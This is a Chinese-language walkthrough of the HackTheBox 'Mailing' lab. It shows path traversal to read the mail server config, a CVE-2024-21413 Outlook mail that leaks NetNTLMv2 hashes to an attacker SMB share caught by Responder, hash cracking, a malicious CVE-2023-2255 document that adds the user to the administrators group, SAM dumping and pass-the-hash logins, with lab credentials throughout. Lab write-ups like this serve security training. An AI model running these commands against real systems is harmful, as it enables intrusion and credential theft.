HTB-Mailing
[HackTheBox] Mailing(Windows, Easy)
Created by: ruycr4ft | TheCyberGeek
Information Scanning
通过opvpn连接题目靶机后首先进行靶机服务探测
services scanning
首先是端口扫描,可以看到开了很多端口,主要是一些e-mail服务
nmap -p- -T4 -Pn 10.10.11.14nmap -p- -T4 -Pn 10.10.11.14 |
扫一下服务版本
nmap -p80,110,135,139,143,445,465,587,993,5040,5985,7680,47001,49664,49665,49666,49667,49668,49669 -T4 -sV 10.10.11.14 |
User Flag
首先访问80端口的web服务,直接ip访问会重定向到mailing.htb
,所以要修改/etc/hosts
,把ip mailing.htb
添加进去再次访问
只有一个能访问的接口/download.php
,点击Download Instructions
可以看到路由与参数是/download.php?file=instructions.pdf
,尝试一下是否路径穿越下载本地文件。由于是windows
主机,尝试C:/Windows/system.ini
,但是不能直接传,要传../../../../Windows/system.ini
能看到可以成功包含,hMailServer
的配置文件路径Program+Files (x86)/hMailServer/Bin/hMailServer.INI
,再次传参下载
[Directories] |
到这里以后就是CVE一把梭了,首先要知道,hMailServer
的管理员用户邮箱的密码是md5
的hash记录的,但是数据库就不是md5
的了,如果是要解密数据库的密码可以用这个仓库的脚本。我们查一下这个配置文件中的管理员的密码的hash
,cmd5.com
可以查到,但是要氪金查看。去这里查结果是841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator
看看在80端口中下载的instructions.pdf

这个指导手册的话就是此靶机的e-mail服务的指导手册,邮箱域名就是mailing.htb
,那么就可以推测管理员的邮箱帐号可能就是Administrator@mailing.htb
,密码是homenetworkingadministrator
在前面的端口服务扫描有一个110
端口的hmailserver pop3d
的pop3
服务,可以试试登录验证账号密码是否正确还能顺便看看有没有邮件查看
telnet 10.10.11.14 110 |

账号验证正确,但是没有邮件能查看
Outlook客户端存在CVE-2024-21413
,可以去看一下分析https://www.yunyawu.com/2024/02/29/%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%9Acve-2024-21413/,简单来说就是outlook出漏洞,导致可以绕过保护视图,如果邮件的某个链接(Moniker
Link)中存在file://
协议,并且访问的是某个主机中的共享文件,例如\\192.168.0.1\share
,这时候邮件接收方就会向访问的主机发起认证请求,尝试进行身份验证,而在这个过程中会发出自己的Windows netNTLMv2
恰好,kali
中的Responder
就有类似欺骗受害者主机,跟受害者主机继续认证的流程,直到受害者主机将Windows netNTLMv2
值发送出来,详细的原理可以看这个https://m.freebuf.com/articles/network/256844.html,刚好我们知道了管理员的账号与密码,只要向主机的用户发送恶意邮件,同时使用Responder
工具监听,就能获取登录用户的Windows netNTLMv2
下面开始攻击:
首先看一下网卡信息
vpn在tun0
上,那就要监听这个
responder -I tun0 -v |
接下来下载一下CVE-2024-21413
的利用脚本https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability?tab=readme-ov-file
python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient ruy@mailing.htb --url '\\10.10.14.168/tt' --subject XD |
这里发送给哪个用户,可以去看80端口的主页,上面有写几个用户,可以逐个试一试
记得关掉防火墙
ufw disable |
发送邮件后稍等片刻,就能收到回显
maya::MAILING:bca7546b9f05e526:054159512015F83767E80896EE24B713:01010000000000008024436129A2DA017A9A4DE6F96F326700000000020008004600590056004B0001001E00570049004E002D003800380037004700520048005400370053004400500004003400570049004E002D00380038003700470052004800540037005300440050002E004600590056004B002E004C004F00430041004C00030014004600590056004B002E004C004F00430041004C00050014004600590056004B002E004C004F00430041004C00070008008024436129A2DA010600040002000000080030003000000000000000000000000020000062CDE981435ADAF7DBC7EF8E9906B4552B9CC118CC34382B567BB6BDDBE5B31F0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100360038000000000000000000 |
用hashcat爆破一下(老外用的都是什么字典,什么密码都有在里面是吧。。。)
hashcat -m 5600 -a 0 mayahash rockyou.txt |
得到密码maya:m4y4ngs4ri
接下来就是登录的事了,由于是window,看看开了哪些远程登陆的端口,可以看到有一个5985端口的wsman
服务,可以进行远程管理,5985是该协议的默认端口,kali中的evil-winrm
工具则可以利用该协议进行登录ving且有很多附加功能
evil-winrm -i 10.10.11.14 -u maya -p m4y4ngs4ri |
登录成功后在C:\Users\maya\Desktop\user.txt
中能拿到flag
System Flag
先看看有哪些用户
localadmin
用户里面的文件无法读取,需要提权
靶机上有LibreOffice 7.4
版本,存在CVE-2023-2255
,即通过不正确的访问控制来加载外部链接而不会提示用户
在C:\Important Documents
文件夹中有管理员执行权限,可以用icacls
指令看一下文件或者文件夹权限
./Important Documents MAILING\maya:(OI)(CI)(M) |
maya
用户有M(Modify)
权限,管理员有F(Full)
完全控制权,那我们可以用CVE-2023-2255
的利用脚本生成exp上传到八级上,等待管理员执行
在payload中选择net localgroup Administradores maya /add
这个指令,管理员执行后,maya用户就能添加到管理员组户中了
python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt' |
上传文件直接使用evil-winrm
的upload
功能,先cd到C:\Important Documents
文件夹中再上传(这里没懂为什么传Important
Documents文件夹就会被执行?别的文件夹同样是)
upload /root/Desktop/exploit.odt |
稍等一会而后,net users maya
看一下权限
已经在管理员权限组中了,现在是高权限用户了,试一下直接读取localadmin/Desktop/root.txt
的内容

ok,直接就读出来了
但是还可以有其他的做法:获取localadmin的密码或者hash
由于现在maya已经是高权限用户了,而且可以执行脚本,那就可以用来获取本地的sam
hash,使用kali
中的crackmapexec
工具进行攻击,详细的使用方法可以看这个
crackmapexec smb 10.10.11.14 -u maya -p "m4y4ngs4ri" --sam |
成功获取到localadmin
的LMHASH:NTHASH
,下面那就可以进行hash传递攻击,evil-winrm
就能做到
evil-winrm -i 10.10.11.14 -u localadmin -H 9aa582783780d1546d62f2d102daefae |
登录成功
hash传递还可以用impacket-wmiexec
工具
impacket-wmiexec localadmin@10.10.11.14 -hashes "aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae" |